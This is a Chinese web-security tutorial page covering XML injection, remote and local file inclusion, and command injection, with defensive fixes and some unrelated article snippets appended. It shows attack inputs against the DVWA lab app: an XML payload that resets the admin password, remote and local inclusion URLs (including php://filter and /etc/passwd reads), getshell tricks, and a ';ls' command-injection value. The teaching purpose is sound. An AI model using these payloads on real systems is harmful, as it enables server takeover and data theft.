当前位置: 首页 > news >正文

Web安全测试(四):XML注入和代码注入

一、前言

结合内部资料,与安全渗透部门同事合力整理的安全测试相关资料教程,全方位涵盖电商、支付、金融、网络、数据库等领域的安全测试,覆盖Web、APP、中间件、内外网、Linux、Windows多个平台。学完后一定能成为安全大佬!
全部文章请访问专栏:《全栈安全测试教程(0基础)》

通过本章节,我们会学到:

  1. XML注入概念
  2. 了解什么是XML注入漏洞
  3. 了解XML注入漏洞产生的原因
  4. XML注入漏洞检测与防护
  5. 掌握XML注入漏洞的利用方式
  6. 掌握如何修复XML注入漏洞
  7. 代码注入概念
  8. 代码注入的类型及防御

文章目录

    • 一、前言
    • 二、XML注入漏洞
      • 1)什么是XML注入
      • 2)XML注入产生的原因
      • 3)XML注入漏洞例子
      • 4)如何防御XML注入
    • 三、代码注入漏洞
      • 1)远程文件包含漏洞
      • 2)本地文件包含漏洞
      • 3)命令执行漏洞


二、XML注入漏洞

1)什么是XML注入

XML injection,XML注入漏洞。XML注入类似于SQL注入,XML文件一般用作存储数据及配置,如果在修改或新增数据时,没有对用户可控数据做转义,直接输入或输出数据,都将导致XML注入漏洞。

2)XML注入产生的原因

XML注入产生的原因与SQL注入差不多:

  1. 传输的数据包含了标签内容。
  2. 修改数据时会覆盖原有的标签

3)XML注入漏洞例子

服务器是生成XML来存储用户数据:

<?xml version="1.0" encoding="UTF-8"?><USER role="guest"><name>user</name> <passwd>123</passwd></USER> <USER role="admin"><name>admin</name> <passwd>1adtyr32e762t7te3</passwd> </USER> 

guest用户申请改密码,会更改123。
要是用户提交的不是简单的字母组合,而是如下信息:

12345</passwd></USER>
<USER role="admin">
<name>admin</name>
<passwd>123456</passwd>
</USER>

这样,配置文件会变成:

<?xml version="1.0" encoding="UTF-8"?><USER rule="guest"> <name>user</name><passwd>12345</passwd></USER> <USER rule="admin"> <name>admin</name> <passwd>123456</passwd></USER><!---</passwd> </USER><USER role="admin"> <name>admin</name><passwd>1adtyr32e762t7te3</passwd>
</USER> 

4)如何防御XML注入

对用户输入进行检查
对特殊字符进行转码

  1. & --> &
  2. < --> <
  3. –> >

  4. " --> "
    1. ’ --> ’

三、代码注入漏洞

代码注入包含:

  1. 远程文件包含漏洞
  2. 本地文件包含漏洞
  3. 命令执行漏洞

1)远程文件包含漏洞

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。
PHP常见的导致文件包含的函数如下:

include()
include_once()
require()
require_once()
fopen()
readfile()

远程文件包含漏洞风险

  1. 攻击者可利用代码注入漏洞执行任意代码,来操作服务器
  2. 攻击者可利用代码注入漏洞操作数据库,插入恶意数据,可能获取系统权限
  3. 攻击者可利用代码注入攻击修改系统配置,修改网络配置,可能对服务器及网络造成影响
  4. 代码注入攻击后可以进一步对网络渗透,由于代码注入攻击多半可获取系统权限,对网络的进一步渗透难度大大降低

如何利用远程文件包含漏洞

DVWA为例:

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=file1.php

上面链接中,我们可以传递一个文件名,PHP会根据文件名进行导入操作
我们可以指定我们自己编写的地址:http://site1.com/a.php
这里会输出phpinfo()内容。

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=http://site1.com/a.php

要是a.php中写入木马,可以控制对方机器

远程文件包含漏洞代码审计方法

查看是否有如下代码:

include(), include_once()
require(), require_once()
fopen()
readfile()

如何修复远程文件包含漏洞

不需要执行远程代码时,可以修改php.ini配置:

allow_url_fopen = Off
allow_url_include = Off

不要直接导入用户输入的内容
执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交“1、2、3”等参数,代表相应代码。

2)本地文件包含漏洞

与远程文件包含漏洞类似,可以读取任意的本地文件
可以通过远程文件包含漏洞来生成本地文件包含漏洞的代码来利用
本地文件包含漏洞可以包含本地文件,在条件允许时甚至能执行代码
上传图片马,然后包含
读敏感文件,读PHP文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件

本地文件包含漏洞所用到的函数
与远程文件包含漏洞所用到的函数相同:

include(), include_once()
require(), require_once()
fopen()
readfile()

本地文件包含漏洞利用方式
漏洞危害:

  1. 执行任意代码
  2. 包含恶意文件控制网站
  3. 甚至控制服务器

上传带有PHP代码的图片

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=../../../a.jpg

读取PHP文件

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../../a.php

读取系统敏感文件

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=/etc/passwd

如何修复本地文件包含漏洞
不要直接导入用户输入的内容(与远程文件包含漏洞相同)
执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交“1、2、3”等参数,代表相应代码。

3)命令执行漏洞

用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

命令注入漏洞对系统安全产生的危害

继承Web服务程序的权限去执行系统命令或读 - 写文件:运行Web服务的用户权限等于黑客利用漏洞后执行命令的权限

反弹shell:通过特定方式进行反弹shell攻击

控制整个网站甚至控制服务器:根据权限,可能服务器整体被沦陷

进一步内网渗透:把当前控制的机器当作跳板来控制其它内网机器

命令注入漏洞例子

页面:

http://mydvwa.com/dvwa/vulnerabilities/exec/

正常参数:
0.0.0.0(或其它IP)
修改后的参数:
0.0.0.0; ls
会输出当前目录的列表

第三方组件存在的代码执行漏洞
Struts2漏洞(s2-16)
Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。

命令注入漏洞的修复方法

尽量不要执行外部命令
尽量使用脚本解决工作,少用执行命令函数
使用自定义函数或函数库来替代外部命令的功能
程序参数的情况,escapshellcmd过滤
程序参数值的情况,escapeshellarg过滤
参数值尽量使用引用号包裹,并在拼接前调用addslashes进行转义
使用safe_mode_exec_dir指定可执行文件的路径

相关文章:

Web安全测试(四):XML注入和代码注入

一、前言 结合内部资料&#xff0c;与安全渗透部门同事合力整理的安全测试相关资料教程&#xff0c;全方位涵盖电商、支付、金融、网络、数据库等领域的安全测试&#xff0c;覆盖Web、APP、中间件、内外网、Linux、Windows多个平台。学完后一定能成为安全大佬&#xff01; 全部…...

如何通过内网穿透实现外部网络对Spring Boot服务端接口的HTTP监听和调试?

文章目录 前言1. 本地环境搭建1.1 环境参数1.2 搭建springboot服务项目 2. 内网穿透2.1 安装配置cpolar内网穿透2.1.1 windows系统2.1.2 linux系统 2.2 创建隧道映射本地端口2.3 测试公网地址 3. 固定公网地址3.1 保留一个二级子域名3.2 配置二级子域名3.2 测试使用固定公网地址…...

深入理解c++特殊成员函数

深入理解c特殊成员函数 在c中&#xff0c;特殊成员函数有下面6个&#xff1a; 构造函数析构函数复制构造函数(拷贝构造函数)赋值运算符(拷贝运算符)移动构造函数(c11引入)移动运算符(c11引入) 以Widget类为例&#xff0c;其特殊成员函数的签名如下所示&#xff1a; class W…...

RecyclerView面试问答

RecycleView 和 ListView对比: 使用方法上 ListView:继承重写 BaseAdapter,自定义 ViewHolder 与 converView优化。 RecyclerView: 继承重写 RecyclerView.Adapter 与 RecyclerView.ViewHolder。设置 LayoutManager 来展示不同的布局样式 ViewHolder的编写规范化,ListVie…...

Redis 7 教程 数据持久化

总体 RDB 介绍 RDB 持久化以指定的时间间隔执行数据集的时间点快照 。 把某一时刻的数据和状态以文件的形式写到磁盘上,即使出现故障宕机,快照文件也不会丢失,数据的可靠性得到保证。快照文件就是RDB(Redis DataBase)文件(dump.rdb) 作用 在指定的时间间隔内将内存中的数…...

【ArcGIS微课1000例】0072:如何生成空间权重矩阵

严重声明:本文来自专栏《ArcGIS微课1000例:从点滴到精通》,为CSDN博客专家刘一哥GIS原创,原文及专栏地址为:(https://blog.csdn.net/lucky51222/category_11121281.html),谢绝转载或爬取!!! 文章目录 一、空间权重矩阵工具介绍二、ArcGIS生成空间权重矩阵三、注意事项…...

【芯片设计封装与测试】芯片测试目的、方法、分类及案例

目录 1.芯片测试概述&#xff08;目的、方法&#xff09; 1.1.测试在芯片产业价值链上的位置 2.测试如何体现在设计的过程中 2.1.半导体测试定义与基本工作机制 2.2.半导体测试环节分类及对应设备 2.3.设计验证 3.测试的各种类型 3.1.抽样测试和生产全测 3.2.测试相关…...

k8s集群证书过期解决

一、k8s集群证书过期解决 问题现象 K8S集群证书过期后&#xff0c;会导无法创建Pod&#xff0c;通过kubectl get nodes也无法获取信息&#xff0c;甚至dashboard也无法访问。 执行命令发现报错&#xff1a; Unable to connect to the server: x509: certificate has expire…...

Linux学习之Ubuntu 20.04在github下载源码安装Openresty 1.19.3.1

参考的博文&#xff1a;《在 Ubuntu 上使用源码安装 OpenResty》 《OpenResty 安装安装详解-Ubuntu》 《Linux学习之CentOS 7源码安装openresty》 https://openresty.org/en/download.html是官网下载网址&#xff0c;页面往下拉有下载的链接。 https://github.com/openresty…...

bootloader串口更新程序[瑕疵学习板]

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、储备知识二、程序步骤2.程序展示1.bootloader2.然后是主运行函数总结前言 很久没有更新文章了。最近工作太忙,没有学习很多的知识,然后这两天不忙了,就学习了一下bootloader的程序升级…...

浅谈视频汇聚平台EasyCVR视频平台在城市安全综合监测预警台风天气中的重要作用

夏日已至&#xff0c;台风和暴雨等极端天气频繁出现。在城市运行过程中&#xff0c;台风所带来的暴雨可能会导致城市内涝等次生灾害&#xff0c;引发交通瘫痪、地铁停运、管网泄漏爆管、路面塌陷、防洪排涝、燃气爆炸、供热安全、管廊安全、消防火灾等安全隐患&#xff0c;影响…...

GaussDB技术解读系列:高级压缩之OLTP表压缩

8月16日&#xff0c;第14届中国数据库技术大会&#xff08;DTCC2023&#xff09;在北京国际会议中心顺利举行。在GaussDB“五高两易”核心技术&#xff0c;给世界一个更优选择的专场&#xff0c;华为云数据库GaussDB首席架构师冯柯对华为云GaussDB数据库的高级压缩技术进行了详…...

管理类联考——英语二——实战篇——大作文——图表——静态图表——第一段

第一句:What is clearly presented in the above 图表类型 is the statistics of 主题词 1. 翻译:从上述图表类型中我们能够清晰地得知有关主题词1的数据。 [备注1]:本句对图表进行整体描述,无需描述具体各项内容所占比例,只需提出主题词的哪方面的有关数据…...

https 的ssl证书过期处理解决方案(lighthttpd)

更换证书&#xff1a;lighthttpd 配置文件位置&#xff1a;/opt/vmware/etc/lighttpd/lighttpd.conf &#xff08;配置文件的最底部 G快速来到底部&#xff09; 方案一&#xff1a;阿里云申请免费的证书 这里公司内网环境没有配置域名&#xff0c;可以创建一个临时域名&…...

【java】【idea2023版】Springboot模块没有.iml文件的问题

目录 方法一&#xff1a; 1、首先鼠标选中对应的对应的模块 &#xff0c;按两下Ctrl键 2、project中选择对应的模块 3、运行mvn idea:module 命令​编辑 方法二&#xff1a; 1、可以右键点击open Terminal 2、然后在打开的Terminal里输入 方法一&#xff1a; 1、首先鼠…...

Qt QScrollArea使用

在使用QScrollArea时&#xff0c;有几个注意事项需要考虑&#xff1a; 设置合适的小部件&#xff08;widget&#xff09;大小策略&#xff1a; 确保将要放置在QScrollArea中的小部件设置为合适的大小策略。这将确保小部件可以根据需要进行扩展&#xff0c;以适应滚动区域的大小…...

Unity3d:GameFramework解析:实体,对象池,资源管理,获取计数,引用计数,自动释放

基本概念 1.GF万物基于引用池IReference 2.ObjectBase : IReference类的m_Target持有unity中Mono&#xff0c;资源&#xff0c;GameObejct 3.AssetObject : ObjectBase类m_Target持有Assetbundle中的Asset&#xff0c;具有获取&#xff0c;引用两个计数管理释放 4.ResourceObj…...

Django基础6——数据模型关系

文章目录 一、基本了解二、一对一关系三、一对多关系3.1 增删改查3.2 案例&#xff1a;应用详情页3.2 案例&#xff1a;新建应用页 四、多对多关系4.1 增删改查4.2 案例&#xff1a;应用详情页4.3 案例&#xff1a;部署应用页 一、基本了解 常见数据模型关系&#xff1a; 一对一…...

【chrome扩展开发】如何在项目中判断插件是否已安装

由于安全限制&#xff0c;本文采取间接的方式实现 1、项目部分 比如通过cookie、localStorage等进行状态存储 1.1、初始化判断 function getCookie(name){let arr document.cookie.match(new RegExp("(^| )"name"([^;]*)(;|$)"))if(arr ! null){return u…...

Centos 7.6 安装mongodb

以下是在CentOS 7.6上安装MongoDB的步骤&#xff1a; 打开终端并以root用户身份登录系统。 创建一个新的MongoDB存储库文件 /etc/yum.repos.d/mongodb-org-4.4.repo 并编辑它。 sudo vi /etc/yum.repos.d/mongodb-org-4.4.repo在编辑器中&#xff0c;添加下面的内容到文件中并…...

Ubuntu下安装nginx服务,实现通过URL读取ubuntu下图片

1.安装nginx包 sudo apt update sudo apt install nginx 2.安装完成后系统自动启动nginx sudo systemctl status nginx 查看nginx服务的状态 3.开启防火墙上的HTTP服务端口80 sudo ufw allow ‘Nginx HTTP’ 4.在浏览器输入 http://localhost 看到nginx的欢迎界面&#xff0c;…...

本地部署 Stable Diffusion(Mac 系统)

在 Mac 系统本地部署 Stable Diffusion 与在 Windows 系统下本地部署的方法本质上是差不多的。 一、安装 Homebrew Homebrew 是一个流行的 macOS &#xff08;或 Linux&#xff09;软件包管理器&#xff0c;用于自动下载、编译和安装各种命令行工具和应用程序。有关说明请访问官…...

浪潮云海护航省联社金融上云,“一云多芯”赋能数字农业

农村金融是现代金融体系的重要组成部分&#xff0c;是农业农村发展的重要支撑力量&#xff0c;而统管全省农商行及农信社的省级农村信用社联合社&#xff08;以下简称&#xff1a;省联社&#xff09;在我国金融系统中占据着举足轻重的地位。省联社通常采用“大平台小法人”的发…...

MyCat的XA事务研究及字符集问题

MyCAT 1.4 开发版&#xff0c;初步实现了XA事务&#xff0c;关注这个高级技术的同学可以编译代码并测试其正确性。。 在手动事务模式下&#xff0c;可以执行 set xaon开启XA事务支持 目前实现了不跨分片的SQL的XA事务&#xff0c;测试过程如下 mysql> set autocommit0; Qu…...

9、监测数据采集物联网应用开发步骤(7)

监测数据采集物联网应用开发步骤(6) 串口(COM)通讯开发 本章节测试使用了 Configure Virtual Serial Port Driver虚拟串口工具和本人自写的串口调试工具&#xff0c;请自行baidu下载对应工具 在com.zxy.common.Com_Para.py中添加如下内容 #RS232串口通讯列表 串口号,波特率,…...

微信小程序开发教学系列(9)- 小程序页面优化

第9章 小程序页面优化 在开发小程序时&#xff0c;页面性能优化是非常重要的一项任务。优化页面性能可以提升用户体验&#xff0c;使小程序更加流畅和高效。本章将介绍一些常见的页面优化方法和技巧&#xff0c;帮助您提升小程序的性能。 9.1 页面性能优化的基本原则 页面性…...

如何将储存在Mac或PC端的PDF文件传输到移动设备呢?

iMazing是一款iOS设备管理软件&#xff0c;用户借助它可以将iPad或iPhone上的文件备份到PC或Mac上&#xff0c;还能实现不同设备之间的文件传输&#xff0c;能很大程度上方便用户进行文件管理。 在阅读方面&#xff0c;iPad和iPhone是阅读PDF的优秀选择&#xff0c;相较于Mac或…...

一图看懂架构划分原则:技术划分 OR 领域划分?

架构划分原则 技术划分 描述: 按技术用途组织系统组件典型示例: 分层(多层)架构 组件按技术层组织 用户界面: 与用户直接交互的部分业务规则和核心处理: 逻辑和算法与数据库交互: 数据存取和查询数据库层: 数据存储和管理 优点: 当大部分更改与技术层次对齐时适用 缺点: 域更…...

从零开始的Hadoop学习(二)| Hadoop介绍、优势、组成、HDFS架构

1. Hadoop 是什么 Hadoop是一个由Apache基金会所开发的分布式系统基础架构。主要解决&#xff0c;海量数据的存储和海量数据的分析计算问题。广义上来说&#xff0c;Hadoop通常是指一个更广泛的概念—Hadoop生态圈。 2. Hadoop 的优势 高可靠性&#xff1a;Hadoop底层维护多…...

问道管理:逾4600股飘红!汽车板块爆了,多股冲击涨停!

A股商场今天上午全体低开&#xff0c;但其后逐级上行&#xff0c;创业板指数上午收盘大涨超越3%&#xff0c;北向资金也完成净买入38亿元。 别的&#xff0c;A股商场半年报成绩发表如火如荼进行中&#xff0c;多家公司发表半年报后股价应声大涨&#xff0c;部分公司股价冲击涨停…...